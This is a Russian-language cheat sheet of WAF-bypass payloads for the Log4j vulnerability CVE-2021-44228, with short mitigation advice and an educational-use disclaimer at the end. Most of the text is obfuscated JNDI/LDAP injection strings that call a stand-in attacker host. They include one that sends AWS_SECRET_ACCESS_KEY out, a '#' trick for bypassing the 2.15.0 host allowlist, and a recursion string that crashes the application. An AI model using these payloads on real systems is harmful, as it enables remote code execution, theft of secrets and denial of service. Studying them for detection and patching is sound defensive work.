
🐱💻 ✂️ 🤬 CVE-2021-44228 - LOG4J Java эксплойт - трюки обхода WAF
CVE-2021-44228 работает на:
log4j: 2.0 <= Apache log4j <= 2.14.1
Версии Java уже исправлены: 6u211+, 7u201+, 8u191+, 11.0.1+.
Windows Defender начал удалять .java файлы, содержащие jndi:ldap:....
Простой скрипт атакующего (Возможное RCE):
${jndi:ldap://somesitehackerofhell.com/z}
WAF или разработчики начали блокировать фразы:
для защиты приложений.
Однако атакующий может обойти это, используя одну из следующих техник:
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//somesitehackerofhell.com/z}
Из документации Apache Log4j 2: ${env:ENV_NAME:-значение_по_умолчанию}
Если системная переменная окружения ENV_NAME отсутствует, используется текст после :-
Атакующий может использовать любое имя вместо ENV_NAME, но оно не должно существовать.
Или хакер может прочитать переменную окружения, например, для AWS_SECRET_ACCESS_KEY:
${jndi:ldap://somesitehackerofhell.com/z?leak=${env:AWS_SECRET_ACCESS_KEY:-NO_EXISTS}}
Ознакомьтесь с большим количеством секретов в 🦄🔒 Замечательный список секретов в переменных окружения 🖥️
Вы можете проверить системные переменные окружения:
dir env:printenv или env${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://somesitehackerofhell.com/z}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://somesitehackerofhell.com/z}
Lower Lookup LowerLookup преобразует переданный аргумент в нижний регистр. Предположительно, значением будет результат вложенного поиска.
${lower:<текст>}
Upper Lookup UpperLookup преобразует переданный аргумент в верхний регистр. Предположительно, значением будет результат вложенного поиска.
${upper:<текст>}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://somesitehackerofhell.com/z}
${jnd${upper:ı}:ldap://somesitehackerofhell.com/z}
ı преобразуется в i
${jnd${sys:SYS_NAME:-i}:ldap:/somesitehackerofhell.com/z}
Если системное свойство SYS_NAME отсутствует, используется текст после :-
${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://somesitehackerofhell.com/z}
${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://somesitehackerofhell.com/z}
Форматирование даты в Java преобразует YYYY в 2021, но преобразует 'YYYY' в YYYY или 'j' в j.
Замените символы:
Подробнее читайте здесь HTML URL Encoding Reference
${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://somesitehackerofhell.com/z}
Он не проверяет существование lookup и просто использует значение по умолчанию.
{
"one-${jnd${a":"a:-i}:ld${",
"two":"o:-a}p://somesitehackerofhell.com/z}
}
"По отдельности эти ключи и значения не представляют атаку. Но все вместе они образуют атаку, и эта атака прозрачна для систем обнаружения из-за парсера JSON." Читать далее...
${\u006a\u006e\u0064\u0069:ldap://somesitehackerofhell.com/z}
Преобразуйте некоторые символы в юникод.
${jndi:ldap://127.0.0.1#somesitehackerofhell.com/z}
Обход проверок allowedLdapHost и allowedClasses в Log4J 2.15.0. Метод java.net.URI getHost() возвращает значение до # как реальный хост. Но резолвер JNDI/LDAP будет резолвить полное имя хоста, пытаясь подключиться к вредоносному LDAP-серверу.
${${::-${::-$${::-j}}}}
Если по какой-либо причине будет предпринята попытка подстановки строки в следующей строке, это вызовет бесконечную рекурсию, и приложение упадёт.
Создайте специальный PDF-файл для эксплуатации CVE-2021-44228

Получить PDF-файл и узнать больше...
Для тестирования входа можно использовать:
tl;dr Обновитесь до log4j-2.17.1 или новее.
Смягчение Log4j 1.x: Log4j 1.x не имеет Lookups, поэтому риск ниже. Приложения, использующие Log4j 1.x, уязвимы к этой атаке только при использовании JNDI в своей конфигурации. Для этой уязвимости назначен отдельный CVE (CVE-2021-4104). Для смягчения: проверьте конфигурацию логирования, чтобы убедиться, что в ней не настроен JMSAppender. Конфигурации Log4j 1.x без JMSAppender не подвержены этой уязвимости.
Смягчение Log4j 2.x: Примените одну из описанных ниже техник смягчения.
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class и удалите ссылки на Context Lookups, такие как ${ctx:loginId} или $${ctx:loginId}, если они поступают из внешних источников, например HTTP-заголовков или пользовательского ввода.Обратите внимание, что уязвимости подвержен только JAR-файл log4j-core. Приложения, использующие только JAR-файл log4j-api без log4j-core, данной уязвимости не подвержены.

Этот проект может использоваться только в образовательных целях. Использование данного программного обеспечения против целевых систем без предварительного разрешения незаконно, и автор не несёт ответственности за любой ущерб, возникший в результате неправильного использования.
Я не являюсь автором CVE-2021-44228 и некоторых обходов.